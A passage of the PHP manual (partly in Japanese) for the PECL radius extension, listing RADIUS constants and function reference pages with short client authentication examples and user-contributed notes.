User Contributed Notes

There are no user contributed notes for this page.


RADIUS Options

Several RADIUS functions accept option flags as bitmasks. The constants representing those flags are listed below.

RADIUS_OPTION_SALT (int)

When set, this option will result in the attribute value being salt-encrypted.

RADIUS_OPTION_TAGGED (int)

When set, this option will result in the attribute value being tagged with the value of the tag parameter.

User Contributed Notes

There are no user contributed notes for this page.


RADIUS Packet Types

RADIUS packets, whether requests or responses, always include a type. These constants are provided to make it easier to specify types when using radius_create_request() and when comparing the result of radius_send_request().

RADIUS_ACCESS_REQUEST (int)

An Access-Request, used to authenticate a user against a RADIUS server. Access request packets must include a RADIUS_NAS_IP_ADDRESS or a RADIUS_NAS_IDENTIFIER attribute, must also include a RADIUS_USER_PASSWORD, RADIUS_CHAP_PASSWORD or a RADIUS_STATE attribute, and should include a RADIUS_USER_NAME attribute.

RADIUS_ACCESS_ACCEPT (int)

An Access-Accept response to an Access-Request indicating that the RADIUS server authenticated the user successfully.

RADIUS_ACCESS_REJECT (int)

An Access-Reject response to an Access-Request indicating that the RADIUS server could not authenticate the user.

RADIUS_ACCESS_CHALLENGE (int)

An Access-Challenge response to an Access-Request indicating that the RADIUS server requires further information in another Access-Request before authenticating the user.

RADIUS_ACCOUNTING_REQUEST (int)

An Accounting-Request, used to convey accounting information for a service to the RADIUS server.

RADIUS_ACCOUNTING_RESPONSE (int)

An Accounting-Response response to an Accounting-Request.

RADIUS_COA_REQUEST (int)

A CoA-Request, sent from the RADIUS server to indicate that the authorisations within the user session have changed. A response must be sent in the form of a CoA-ACK or a CoA-NAK.

This constant is available in PECL radius 1.3.0 and later.

RADIUS_COA_ACK (int)

A CoA-ACK, sent to the RADIUS server to indicate that the user authorisations have been updated.

This constant is available in PECL radius 1.3.0 and later.

RADIUS_COA_NAK (int)

A CoA-NAK, sent to the RADIUS server to indicate that the user authorisations could not be updated.

This constant is available in PECL radius 1.3.0 and later.

RADIUS_DISCONNECT_REQUEST (int)

A Disconnect-Request, sent from the RADIUS server to indicate that the user session must be terminated.

This constant is available in PECL radius 1.3.0 and later.

RADIUS_DISCONNECT_ACK (int)

A Disconnect-ACK, sent to the RADIUS server to indicate that the user session has been terminated.

This constant is available in PECL radius 1.3.0 and later.

RADIUS_DISCONNECT_NAK (int)

A Disconnect-NAK, sent to the RADIUS server to indicate that the user session could not be terminated.

This constant is available in PECL radius 1.3.0 and later.

User Contributed Notes

There are no user contributed notes for this page.


RADIUS Attribute Types

These constants define RADIUS attribute types that can be used with
radius_put_addr(), radius_put_attr(),
radius_put_int() and
radius_put_string().

RADIUS_USER_NAME (int)

The User-Name attribute. The attribute value is expected to be a string containing the name of the user being authenticated, and can be set using radius_put_attr().

RADIUS_USER_PASSWORD (int)

The User-Password attribute. The attribute value is expected to be a string containing the user's password, and can be set using radius_put_attr(). This value will be obfuscated on transmission as described in » section 5.2 of RFC 2865.

RADIUS_CHAP_PASSWORD (int)

The Chap-Password attribute. The attribute value is expected to be a string with the first byte containing the CHAP identifier, and the subsequent 16 bytes containing the MD5 hash of the CHAP identifier, the plaintext password and the CHAP challenge value concatenated together. Note that the CHAP challenge value should also be sent separately in a RADIUS_CHAP_CHALLENGE attribute.

例1 Using CHAP passwords

<?php
// Firstly, we'll create an authentication handle and request.
$radh = radius_auth_open();
radius_add_server($radh, $server, $port, $secret, 3, 3);
radius_create_request($radh, RADIUS_ACCESS_REQUEST);

// Assuming $password contains the plaintext password, we now:

// Generate a challenge.
$challenge = mt_rand();

// Specify a CHAP identifier.
$ident = 1;

// Add the Chap-Password attribute.
$cp = md5(pack('Ca*', $ident, $password.$challenge), true);
radius_put_attr($radh, RADIUS_CHAP_PASSWORD, pack('C', $ident).$cp);

// Add the Chap-Challenge attribute.
radius_put_attr($radh, RADIUS_CHAP_CHALLENGE, $challenge);

/* From here, you would add the remaining attributes and
 * call radius_send_request(). */
?>

RADIUS_NAS_IP_ADDRESS (int)

The NAS-IP-Address attribute. The attribute value is expected to the IP address of the RADIUS client encoded as an int, which can be set using radius_put_addr().

RADIUS_NAS_PORT (int)

The NAS-Port attribute. The attribute value is expected to be the physical port of the user on the RADIUS client encoded as an int, which can be set using radius_put_int().

RADIUS_SERVICE_TYPE (int)

The Service-Type attribute. The attribute value indicates the service type the user is requesting, and is expected to be an int, which can be set using radius_put_int().

A number of constants are provided to represent the possible values of this attribute. They include:

  • RADIUS_LOGIN
  • RADIUS_FRAMED
  • RADIUS_CALLBACK_LOGIN
  • RADIUS_CALLBACK_FRAMED
  • RADIUS_OUTBOUND
  • RADIUS_ADMINISTRATIVE
  • RADIUS_NAS_PROMPT
  • RADIUS_AUTHENTICATE_ONLY
  • RADIUS_CALLBACK_NAS_PROMPT

RADIUS_FRAMED_PROTOCOL (int)

The Framed-Protocol attribute. The attribute value is expected to be an int indicating the framing to be used for framed access, and can be set using radius_put_int(). The possible attribute values include these constants:

  • RADIUS_PPP
  • RADIUS_SLIP
  • RADIUS_ARAP
  • RADIUS_GANDALF
  • RADIUS_XYLOGICS

RADIUS_FRAMED_IP_ADDRESS (int)

The Framed-IP-Address attribute. The attribute value is expected to be the address of the user's network encoded as an int, which can be set using radius_put_addr() and retrieved using radius_cvt_addr().

RADIUS_FRAMED_IP_NETMASK (int)

The Framed-IP-Netmask attribute. The attribute value is expected to be the netmask of the user's network encoded as an int, which can be set using radius_put_addr() and retrieved using radius_cvt_addr().

RADIUS_FRAMED_ROUTING (int)

The Framed-Routing attribute. The attribute value is expected to be an int indicating the routing method for the user, which can be set using radius_put_int().

Possible values include:

  • 0: No routing
  • 1: Send routing packets
  • 2: Listen for routing packets
  • 3: Send and listen

RADIUS_FILTER_ID (int)

The Filter-ID attribute. The attribute value is expected to be an implementation-specific, human-readable string of filters, which can be set using radius_put_attr().

RADIUS_FRAMED_MTU (int)

The Framed-MTU attribute. The attribute value is expected to be an int indicating the MTU to be configured for the user, and can be set using radius_put_int().

RADIUS_FRAMED_COMPRESSION (int)

The Framed-Compression attribute. The attribute value is expected to be an int indicating the compression protocol to be used, and can be set using radius_put_int(). Possible values include these constants:

  • RADIUS_COMP_NONE: No compression
  • RADIUS_COMP_VJ: VJ TCP/IP header compression
  • RADIUS_COMP_IPXHDR: IPX header compression
  • RADIUS_COMP_STAC_LZS: Stac-LZS compression (added in PECL radius 1.3.0b2)

RADIUS_LOGIN_IP_HOST (int)

The Login-IP-Host attribute. The attribute value is expected to the IP address to connect the user to, encoded as an int, which can be set using radius_put_addr().

RADIUS_LOGIN_SERVICE (int)

The Login-Service attribute. The attribute value is an int indicating the service to connect the user to on the login host. The value can be converted to a PHP integer via radius_cvt_int().

RADIUS_LOGIN_TCP_PORT (int)

The Login-TCP-Port attribute. The attribute value is an int indicating the port to connect the user to on the login host. The value can be converted to a PHP integer via radius_cvt_int().

RADIUS_REPLY_MESSAGE (int)

The Reply-Message attribute. The attribute value is a string containing text that may be displayed to the user in response to an access request.

RADIUS_CALLBACK_NUMBER (int)

The Callback-Number attribute. The attribute value is a string containing the dialing string to use for callback.

RADIUS_CALLBACK_ID (int)

The Callback-Id attribute. The attribute value is a string containing an implementation-specific name of the place to be called.

RADIUS_FRAMED_ROUTE (int)

The Framed-Route attribute. The attribute value is a string containing an implementation-specific set of routes to be configured for the user.

RADIUS_FRAMED_IPX_NETWORK (int)

The Framed-IPX-Network attribute. The attribute value is an int containing the IPX network to be configured for the user, or 0xFFFFFFFE to indicate that the RADIUS client should select the network, and can be accessed via radius_cvt_int().

RADIUS_STATE (int)

The State attribute. The attribute value is an implementation-defined string included in an Access-Challenge from a server that must be included in the subsequent Access-Request, and can be set using radius_put_attr().

RADIUS_CLASS (int)

The Class attribute. The attribute value is an arbitrary string included in an Access-Accept message that should then be sent to the accounting server in Accounting-Request messages, and can be set using radius_put_attr().

RADIUS_VENDOR_SPECIFIC (int)

The Vendor-Specific attribute. In general, vendor attribute values
should be set using radius_put_vendor_addr(),
radius_put_vendor_attr(),
radius_put_vendor_int() and
radius_put_vendor_string(), rather than directly.

This constant is mostly useful when interpreting vendor specific attributes in responses from a RADIUS server; when a vendor specific attribute is received, the radius_get_vendor_attr() function should be used to access the vendor ID, attribute type and attribute value.

RADIUS_SESSION_TIMEOUT (int)

Session timeout

RADIUS_IDLE_TIMEOUT (int)

Idle timeout

RADIUS_TERMINATION_ACTION (int)

Termination action

RADIUS_CALLED_STATION_ID (int)

Called Station Id

RADIUS_CALLING_STATION_ID (int)

Calling Station Id

RADIUS_NAS_IDENTIFIER (int)

NAS ID

RADIUS_PROXY_STATE (int)

Proxy State

RADIUS_LOGIN_LAT_SERVICE (int)

Login LAT Service

RADIUS_LOGIN_LAT_NODE (int)

Login LAT Node

RADIUS_LOGIN_LAT_GROUP (int)

Login LAT Group

RADIUS_FRAMED_APPLETALK_LINK (int)

Framed Appletalk Link

RADIUS_FRAMED_APPLETALK_NETWORK (int)

Framed Appletalk Network

RADIUS_FRAMED_APPLETALK_ZONE (int)

Framed Appletalk Zone

RADIUS_CHAP_CHALLENGE (int)

Challenge

RADIUS_NAS_PORT_TYPE (int)

NAS port type, one of:

  • RADIUS_ASYNC
  • RADIUS_SYNC
  • RADIUS_ISDN_SYNC
  • RADIUS_ISDN_ASYNC_V120
  • RADIUS_ISDN_ASYNC_V110
  • RADIUS_VIRTUAL
  • RADIUS_PIAFS
  • RADIUS_HDLC_CLEAR_CHANNEL
  • RADIUS_X_25
  • RADIUS_X_75
  • RADIUS_G_3_FAX
  • RADIUS_SDSL
  • RADIUS_ADSL_CAP
  • RADIUS_ADSL_DMT
  • RADIUS_IDSL
  • RADIUS_ETHERNET
  • RADIUS_XDSL
  • RADIUS_CABLE
  • RADIUS_WIRELESS_OTHER
  • RADIUS_WIRELESS_IEEE_802_11

RADIUS_PORT_LIMIT (int)

Port Limit

RADIUS_LOGIN_LAT_PORT (int)

Login LAT Port

RADIUS_CONNECT_INFO (int)

Connect info

RADIUS_ACCT_STATUS_TYPE (int)

Accounting status type, one of:

  • RADIUS_START
  • RADIUS_STOP
  • RADIUS_ACCOUNTING_ON
  • RADIUS_ACCOUNTING_OFF

RADIUS_ACCT_DELAY_TIME (int)

Accounting delay time

RADIUS_ACCT_INPUT_OCTETS (int)

Accounting input bytes

RADIUS_ACCT_OUTPUT_OCTETS (int)

Accounting output bytes

RADIUS_ACCT_SESSION_ID (int)

Accounting session ID

RADIUS_ACCT_AUTHENTIC (int)

Accounting authentic, one of:

  • RADIUS_AUTH_RADIUS
  • RADIUS_AUTH_LOCAL
  • RADIUS_AUTH_REMOTE

RADIUS_ACCT_SESSION_TIME (int)

Accounting session time

RADIUS_ACCT_INPUT_PACKETS (int)

Accounting input packets

RADIUS_ACCT_OUTPUT_PACKETS (int)

Accounting output packets

RADIUS_ACCT_TERMINATE_CAUSE (int)

Accounting terminate cause, one of:

  • RADIUS_TERM_USER_REQUEST
  • RADIUS_TERM_LOST_CARRIER
  • RADIUS_TERM_LOST_SERVICE
  • RADIUS_TERM_IDLE_TIMEOUT
  • RADIUS_TERM_SESSION_TIMEOUT
  • RADIUS_TERM_ADMIN_RESET
  • RADIUS_TERM_ADMIN_REBOOT
  • RADIUS_TERM_PORT_ERROR
  • RADIUS_TERM_NAS_ERROR
  • RADIUS_TERM_NAS_REQUEST
  • RADIUS_TERM_NAS_REBOOT
  • RADIUS_TERM_PORT_UNNEEDED
  • RADIUS_TERM_PORT_PREEMPTED
  • RADIUS_TERM_PORT_SUSPENDED
  • RADIUS_TERM_SERVICE_UNAVAILABLE
  • RADIUS_TERM_CALLBACK
  • RADIUS_TERM_USER_ERROR
  • RADIUS_TERM_HOST_REQUEST

RADIUS_ACCT_MULTI_SESSION_ID (int)

Accounting multi session ID

RADIUS_ACCT_LINK_COUNT (int)

Accounting link count

User Contributed Notes

Anonymous 21-Sep-2015 03:09
To fix missing the "Alive" of Acct-Status-Type, just :

define('RADIUS_ALIVE', 3);


RADIUS Vendor Specific Attribute Types

RADIUS_VENDOR_MICROSOFT (int)

Microsoft specific vendor attributes (» RFC 2548), one of:

  • RADIUS_MICROSOFT_MS_CHAP_RESPONSE
  • RADIUS_MICROSOFT_MS_CHAP_ERROR
  • RADIUS_MICROSOFT_MS_CHAP_PW_1
  • RADIUS_MICROSOFT_MS_CHAP_PW_2
  • RADIUS_MICROSOFT_MS_CHAP_LM_ENC_PW
  • RADIUS_MICROSOFT_MS_CHAP_NT_ENC_PW
  • RADIUS_MICROSOFT_MS_MPPE_ENCRYPTION_POLICY
  • RADIUS_MICROSOFT_MS_MPPE_ENCRYPTION_TYPES
  • RADIUS_MICROSOFT_MS_RAS_VENDOR
  • RADIUS_MICROSOFT_MS_CHAP_DOMAIN
  • RADIUS_MICROSOFT_MS_CHAP_CHALLENGE
  • RADIUS_MICROSOFT_MS_CHAP_MPPE_KEYS
  • RADIUS_MICROSOFT_MS_BAP_USAGE
  • RADIUS_MICROSOFT_MS_LINK_UTILIZATION_THRESHOLD
  • RADIUS_MICROSOFT_MS_LINK_DROP_TIME_LIMIT
  • RADIUS_MICROSOFT_MS_MPPE_SEND_KEY
  • RADIUS_MICROSOFT_MS_MPPE_RECV_KEY
  • RADIUS_MICROSOFT_MS_RAS_VERSION
  • RADIUS_MICROSOFT_MS_OLD_ARAP_PASSWORD
  • RADIUS_MICROSOFT_MS_NEW_ARAP_PASSWORD
  • RADIUS_MICROSOFT_MS_ARAP_PASSWORD_CHANGE_REASON
  • RADIUS_MICROSOFT_MS_FILTER
  • RADIUS_MICROSOFT_MS_ACCT_AUTH_TYPE
  • RADIUS_MICROSOFT_MS_ACCT_EAP_TYPE
  • RADIUS_MICROSOFT_MS_CHAP2_RESPONSE
  • RADIUS_MICROSOFT_MS_CHAP2_SUCCESS
  • RADIUS_MICROSOFT_MS_CHAP2_PW
  • RADIUS_MICROSOFT_MS_PRIMARY_DNS_SERVER
  • RADIUS_MICROSOFT_MS_SECONDARY_DNS_SERVER
  • RADIUS_MICROSOFT_MS_PRIMARY_NBNS_SERVER
  • RADIUS_MICROSOFT_MS_SECONDARY_NBNS_SERVER
  • RADIUS_MICROSOFT_MS_ARAP_CHALLENGE

User Contributed Notes

There are no user contributed notes for this page.


例

どのように使用するの?

  • radius リソースを取得する
  • ライブラリを設定する
  • リクエストを作成する
  • 属性を設定する
  • リクエストを送信する
  • 属性を受け取る
  • radius リソースを閉じる (オプション)
パッケージに含まれている例もごらんください。

このパッケージにはサンプル PHP スクリプトが含まれています。 このスクリプトでは、PAP あるいは CHAP (md5) を使用した radius 認証の 方法を説明しています。Microsoft Radius サーバーを使用して認証を行う 場合は、CHAP (md5) を使用することはできません。Microsoft のサーバーを 使用する場合は、MS-CHAPv1 あるいは MS-CHAPv2 を使用する必要があります。 しかし、正しいデータを生成するために md4、sha1 および des が必要となる こともあり、これは複雑な手順となります。同梱されている例では すべての認証方式を説明しており、そこには MS-CHAPv1 および MS-CHAPv2 も含まれています。MS-CHAP を動作させるためには、拡張モジュール mcrypt および mhash が必要となります。 バージョン 1.2 以降では、mcrypt 拡張モジュールは必要なくなりました。

User Contributed Notes

There are no user contributed notes for this page.


Radius 関数

目次

  • radius_acct_open — 課金用の Radius ハンドルを作成する
  • radius_add_server — サーバーを追加する
  • radius_auth_open — 認証用の Radius ハンドルを作成する
  • radius_close — すべてのリソースを開放する
  • radius_config — 指定した設定ファイルをライブラリに読み込ませる
  • radius_create_request — 課金あるいは認証のリクエストを作成する
  • radius_cvt_addr — 生データを IP アドレスに変換する
  • radius_cvt_int — 生データを整数に変換する
  • radius_cvt_string — 生データを文字列に変換する
  • radius_demangle_mppe_key — 変形されたデータから mppe キーを得る
  • radius_demangle — データを復元する
  • radius_get_attr — 属性を取得する
  • radius_get_tagged_attr_data — Extracts the data from a tagged attribute
  • radius_get_tagged_attr_tag — Extracts the tag from a tagged attribute
  • radius_get_vendor_attr — ベンダ固有の属性を取得する
  • radius_put_addr — IP アドレス属性を設定する
  • radius_put_attr — バイナリ属性を設定する
  • radius_put_int — 整数属性を設定する
  • radius_put_string — 文字列属性を設定する
  • radius_put_vendor_addr — ベンダー固有の IP アドレス属性を設定する
  • radius_put_vendor_attr — ベンダー固有のバイナリ属性を設定する
  • radius_put_vendor_int — ベンダー固有の整数属性を設定する
  • radius_put_vendor_string — ベンダー固有の文字列属性を設定する
  • radius_request_authenticator — リクエスト認証子を返す
  • radius_salt_encrypt_attr — Salt-encrypts a value
  • radius_send_request — リクエストを送信し、応答を待つ
  • radius_server_secret — 共有秘密鍵を返す
  • radius_strerror — エラーメッセージを返す

User Contributed Notes

SysCo/al - developer [at] sysco[dot] ch 06-Jan-2008 05:39
Pure PHP radius class (do not need the radius package !)

We have implemented a pure PHP radius class following the RFC 2865 rules. Using this class, it is also possible to do WWW realm authentication.

Class abstract, full class implementation (LGPL) with helper files and examples can be found at http://developer.sysco.ch/php/

<?php

// (...)

class Radius
{
    // (...)

    public function Radius($ip_radius_server = '127.0.0.1', $shared_secret = '', $radius_suffix = '', $udp_timeout = 5, $authentication_port = 1812, $accounting_port = 1813)
    {
        // (...)
    }

    // (...)

    function AccessRequest($username = '', $password = '', $udp_timeout = 0)
    {

        // (...)

        $_socket_to_server = socket_create(AF_INET, SOCK_DGRAM, 17); // UDP packet = 17

        if ($_socket_to_server === FALSE)
        {
            // (...)
        }
        elseif (FALSE === socket_connect($_socket_to_server, $this->_ip_radius_server, $this->_authentication_port))
        {
            // (...)
        }
        elseif (FALSE === socket_write($_socket_to_server, $packet_data, $packet_length))
        {
            // (...)
        }
        else
        {
            // (...)
            $read_socket_array   = array($_socket_to_server);
            $write_socket_array  = NULL;
            $except_socket_array = NULL;

            $received_packet = chr(0);

            if (!(FALSE === socket_select($read_socket_array, $write_socket_array, $except_socket_array, $this->_udp_timeout)))
            {
                if (in_array($_socket_to_server, $read_socket_array))
                {
                    if (FALSE === ($received_packet = @socket_read($_socket_to_server, 1024))) // @ used, than no error is displayed if the connection is closed by the remote host
                    {
                        // (...)
                    }
                    else
                    {
                        socket_close($_socket_to_server);
                    }
                }
            }
            else
            {
                socket_close($_socket_to_server);
            }
        }

        // (...)

        return (2 == ($this->_radius_packet_received));
    }
}

?>

Example
<?php
    require_once('radius.class.php');
    $radius = new Radius('127.0.0.1', 'secret');
    if ($radius->AccessRequest('user', 'pass'))
    {
        echo "Authentication accepted.";
    }
    else
    {
        echo "Authentication rejected.";
    }
?>
andac dot aydin at code64 dot de 07-Jul-2006 08:32
If you are constantly getting the errormessage:

Fatal error: Unknown function: radius_auth_open() in...

And your Server is a Windows-System (for example standard-xampp installation), you propably did not remove the comment symbol ";" in front of "extension=php_radius.dll" in php.ini.

If you did that, but get the error anyway:

Additionally be sure you edited the right php.ini, since xampp installs several php.exe's but only "xampp/apache/bin/php.ini"  is the correct one!

It did cost me 2 days to find that out!
shaun at verticalevolution dot com 27-Apr-2006 08:03
To expand on the simple example by jengo at phpgroupware dot org you can add a NAS IP address to the request by using:

radius_put_addr($radius, RADIUS_NAS_IP_ADDRESS, '127.0.0.1');

and not radius_put_attr or radius_put_string. I also had to use radius_put_string for the user name and password.
brett at silcon dot com 13-Jan-2006 10:20
Here's a longer example that DOES do Challenge Response and works with SecurID Authentication Managers.

http://www.webtrotter.com/securid_radius.txt

(script wouldn't let me post it because of the long lines, plus it was too long of an example).
jengo at phpgroupware dot org 23-Oct-2005 08:26
Here is a simple example on how to auth against radius.  Note:  This doesn't handle challenge responses.

<?php
    $radius = radius_auth_open();
    if (! radius_add_server($radius,'localhost',0,'radiussecret',5,3))
    {
        die('Radius Error: ' . radius_strerror($radius));
    }

    if (! radius_create_request($radius,RADIUS_ACCESS_REQUEST))
    {
        die('Radius Error: ' . radius_strerror($radius));
    }

    radius_put_attr($radius,RADIUS_USER_NAME,'username');
    radius_put_attr($radius,RADIUS_USER_PASSWORD,'password');

    switch (radius_send_request($radius))
    {
        case RADIUS_ACCESS_ACCEPT:
            echo 'GOOD LOGIN';
            break;
        case RADIUS_ACCESS_REJECT:
            echo 'BAD LOGIN';
            break;
        case RADIUS_ACCESS_CHALLENGE:
            echo 'CHALLENGE REQUESTED';
            break;
        default:
            die('Radius Error: ' . radius_strerror($radius));
    }
?>


課金用の Radius ハンドルを作成する

  • ≪ Radius 関数
  • radius_add_server ≫
  • PHP Manual
  • Radius 関数
  • 課金用の Radius ハンドルを作成する

radius_acct_open

(PECL radius >= 1.1.0)

radius_acct_open — 課金用の Radius ハンドルを作成する

説明

radius_acct_open ( ) : resource

返り値

成功した場合にハンドル、エラー時に false を返します。 この関数が失敗するのは、無効なメモリを使用した場合のみです。

例

例1 radius_acct_open() の例

<?php
$res = radius_acct_open ()
    or die ("ハンドルを作成できませんでした");
print("ハンドルの作成に成功しました");
?>

User Contributed Notes

There are no user contributed notes for this page.


サーバーを追加する

  • ≪ radius_acct_open
  • radius_auth_open ≫
  • PHP Manual
  • Radius 関数
  • サーバーを追加する

radius_add_server

(PECL radius >= 1.1.0)

radius_add_server — サーバーを追加する

説明

radius_add_server ( resource $radius_handle , string $hostname , int $port , string $secret , int $timeout , int $max_tries ) : bool

radius_add_server() は複数回コールされることも ありえます。また、radius_config() とともに 使用されることでしょう。最大で 10 までのサーバーを指定できます。 複数のサーバーが指定されると、有効なレスポンスを受信するか あるいは各サーバーへの接続回数が max_tries をこえるまでラウンドロビン形式でのアクセスを試みます。

パラメータ

radius_handle

hostname

hostname はサーバーのホストを FQDN あるいはドット区切りの IP アドレス形式で指定します。

port

port は、サーバーとの接続に使用する UDP ポートを指定します。0 を指定すると、このライブラリは ネットワークサービスデータベースから radius/udp あるいは radacct/udp サービスを 検索し、見つかったポートを使用します。見つからなかった場合は 標準の Radius ポート、すなわち認証には 1812、 課金には 1813 を使用します。

secret

secret パラメータには、サーバーホストに 対する共有秘密鍵が渡されます。Radius プロトコルは、共有秘密鍵の 最初の 128 バイト以外を無視します。

timeout

timeout パラメータには、サーバーから 応答を受信する際のタイムアウトを秒単位で指定します。

max_tries

結果が返ってこなかった場合に最大何回までリクエストを繰り返すかを max_tries に指定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 radius_add_server() の例

<?php
if (!radius_add_server($res, 'radius.example.com', 1812, 'testing123', 3, 3)) {
    echo 'RadiusError:' . radius_strerror($res). "\n<br>";
    exit;
}
?>

参考

  • radius_config() - 指定した設定ファイルをライブラリに読み込ませる

User Contributed Notes

There are no user contributed notes for this page.


認証用の Radius ハンドルを作成する

  • ≪ radius_add_server
  • radius_close ≫
  • PHP Manual
  • Radius 関数
  • 認証用の Radius ハンドルを作成する

radius_auth_open

(PECL radius >= 1.1.0)

radius_auth_open — 認証用の Radius ハンドルを作成する

説明

radius_auth_open ( ) : resource

返り値

成功した場合にハンドル、エラー時に false を返します。 この関数が失敗するのは、無効なメモリを使用した場合のみです。

例

例1 radius_auth_open() の例

<?php
$radh = radius_auth_open()
    or die ("ハンドルを作成できませんでした");
echo "ハンドルの作成に成功しました";
?>

User Contributed Notes

There are no user contributed notes for this page.


すべてのリソースを開放する

  • ≪ radius_auth_open
  • radius_config ≫
  • PHP Manual
  • Radius 関数
  • すべてのリソースを開放する

radius_close

(PECL radius >= 1.1.0)

radius_close — すべてのリソースを開放する

説明

radius_close ( resource $radius_handle ) : bool

各リクエストの終了時に PHP がすべてのリソースを開放するので、 この関数をコールする必要はありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


指定した設定ファイルをライブラリに読み込ませる

  • ≪ radius_close
  • radius_create_request ≫
  • PHP Manual
  • Radius 関数
  • 指定した設定ファイルをライブラリに読み込ませる

radius_config

(PECL radius >= 1.1.0)

radius_config — 指定した設定ファイルをライブラリに読み込ませる

説明

radius_config ( resource $radius_handle , string $file ) : bool

Radius リクエストを発行する前には、ライブラリが接続可能なサーバーを 知っている必要があります。ライブラリを設定するいちばん簡単な方法は radius_config() をコールすることです。 radius_config() は、ライブラリに » radius.conf 形式のファイルを読み込ませます。

パラメータ

radius_handle

file

設定ファイルへのパスを、引数として radius_config() に渡します。 radius_add_server() をコールすることで、 プログラム上でライブラリの設定をすることも可能です。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • radius_add_server() - サーバーを追加する

User Contributed Notes

There are no user contributed notes for this page.


課金あるいは認証のリクエストを作成する

  • ≪ radius_config
  • radius_cvt_addr ≫
  • PHP Manual
  • Radius 関数
  • 課金あるいは認証のリクエストを作成する

radius_create_request

(PECL radius >= 1.1.0)

radius_create_request — 課金あるいは認証のリクエストを作成する

説明

radius_create_request ( resource $radius_handle , int $type ) : bool

Radius リクエストには、リクエストの種類を指定するコードおよび 追加情報を指定するゼロ個以上の属性が含まれます。新しいリクエストを 作成するには、radius_create_request() をコールします。

注意: 注意: 属性を設定する前にこの関数をコールする必要があります。

パラメータ

radius_handle

type

RADIUS_ACCESS_REQUEST あるいは RADIUS_ACCOUNTING_REQUEST のいずれか。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 radius_create_request() の例

<?php
if (!radius_create_request($res, RADIUS_ACCESS_REQUEST)) {
    echo 'RadiusError:' . radius_strerror($res). "\n<br />";
    exit;
}
?>

参考

  • radius_send_request() - リクエストを送信し、応答を待つ

User Contributed Notes

There are no user contributed notes for this page.


生データを IP アドレスに変換する

  • ≪ radius_create_request
  • radius_cvt_int ≫
  • PHP Manual
  • Radius 関数
  • 生データを IP アドレスに変換する

radius_cvt_addr

(PECL radius >= 1.1.0)

radius_cvt_addr — 生データを IP アドレスに変換する

説明

radius_cvt_addr ( string $data ) : string

例

例1 radius_cvt_addr() の例

<?php
while ($resa = radius_get_attr($res)) {

    if (!is_array($resa)) {
        printf ("属性取得時のエラー: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];

    switch ($attr) {

    case RADIUS_FRAMED_IP_ADDRESS:
        $ip = radius_cvt_addr($data);
        echo "IP: $ip<br>\n";
        break;

    case RADIUS_FRAMED_IP_NETMASK:
        $mask = radius_cvt_addr($data);
        echo "マスク: $mask<br>\n";
        break;
    }
}
?>

参考

  • radius_cvt_int() - 生データを整数に変換する
  • radius_cvt_string() - 生データを文字列に変換する

User Contributed Notes

There are no user contributed notes for this page.


生データを整数に変換する

  • ≪ radius_cvt_addr
  • radius_cvt_string ≫
  • PHP Manual
  • Radius 関数
  • 生データを整数に変換する

radius_cvt_int

(PECL radius >= 1.1.0)

radius_cvt_int — 生データを整数に変換する

説明

radius_cvt_int ( string $data ) : int

例

例1 radius_cvt_int() の例

<?php
while ($resa = radius_get_attr($res)) {

    if (!is_array($resa)) {
        printf ("属性取得時のエラー: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];

    switch ($attr) {

    case RADIUS_FRAMED_MTU:
        $mtu = radius_cvt_int($data);
        echo "MTU: $mtu<br>\n";
        break;
    }
}
?>

参考

  • radius_cvt_addr() - 生データを IP アドレスに変換する
  • radius_cvt_string() - 生データを文字列に変換する

User Contributed Notes

There are no user contributed notes for this page.


生データを文字列に変換する

  • ≪ radius_cvt_int
  • radius_demangle_mppe_key ≫
  • PHP Manual
  • Radius 関数
  • 生データを文字列に変換する

radius_cvt_string

(PECL radius >= 1.1.0)

radius_cvt_string — 生データを文字列に変換する

説明

radius_cvt_string ( string $data ) : string

例

例1 radius_cvt_string() の例

<?php
while ($resa = radius_get_attr($res)) {

    if (!is_array($resa)) {
        printf ("属性取得時のエラー: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];

    switch ($attr) {

    case RADIUS_FILTER_ID:
        $id = radius_cvt_string($data);
        echo "フィルタ ID: $id<br>\n";
        break;
    }
}
?>

参考

  • radius_cvt_addr() - 生データを IP アドレスに変換する
  • radius_cvt_int() - 生データを整数に変換する

User Contributed Notes

There are no user contributed notes for this page.


変形されたデータから mppe キーを得る

  • ≪ radius_cvt_string
  • radius_demangle ≫
  • PHP Manual
  • Radius 関数
  • 変形されたデータから mppe キーを得る

radius_demangle_mppe_key

(PECL radius >= 1.2.0)

radius_demangle_mppe_key — 変形されたデータから mppe キーを得る

説明

radius_demangle_mppe_key ( resource $radius_handle , string $mangled ) : string

MS-CHAPv2 で MPPE を使用している場合には、送信キーおよび受信キーが 変形されます (» RFC 2548 を参照ください)。しかしこの関数は無意味です。なぜなら PHP では PPTP-MPPE は実装されていないし、今後も実装されるとは思えないからです。

返り値

復元したデータ、あるいはエラー時には false を返します。

User Contributed Notes

There are no user contributed notes for this page.


データを復元する

  • ≪ radius_demangle_mppe_key
  • radius_get_attr ≫
  • PHP Manual
  • Radius 関数
  • データを復元する

radius_demangle

(PECL radius >= 1.2.0)

radius_demangle — データを復元する

説明

radius_demangle ( resource $radius_handle , string $mangled ) : string

セキュリティ上の理由により、(パスワード、MS-CHAPv1 MPPE キーなど) いくつかのデータは変形されます。それを使用する際には事前に復元する 必要があります。

返り値

復元した文字列、あるいはエラー時には false を返します。

User Contributed Notes

There are no user contributed notes for this page.


属性を取得する

  • ≪ radius_demangle
  • radius_get_tagged_attr_data ≫
  • PHP Manual
  • Radius 関数
  • 属性を取得する

radius_get_attr

(PECL radius >= 1.1.0)

radius_get_attr — 属性を取得する

説明

radius_get_attr ( resource $radius_handle ) : mixed

Radius リクエストと同様、各レスポンスもゼロ個以上の属性を含んでいます。
radius_send_request() でレスポンスを受け取ったら、
radius_get_attr() を使用して各属性を抽出することが
できます。radius_get_attr() がコールされるたびに、
現在のレスポンスから次の属性を取得します。

返り値

属性の型とデータを含む連想配列、あるいは 0 以上の エラー番号を返します。

例

例1 radius_get_attr() の例

<?php
while ($resa = radius_get_attr($res)) {

    if (!is_array($resa)) {
        printf("属性取得エラー: %s\n",  radius_strerror($res));
        exit;
    }

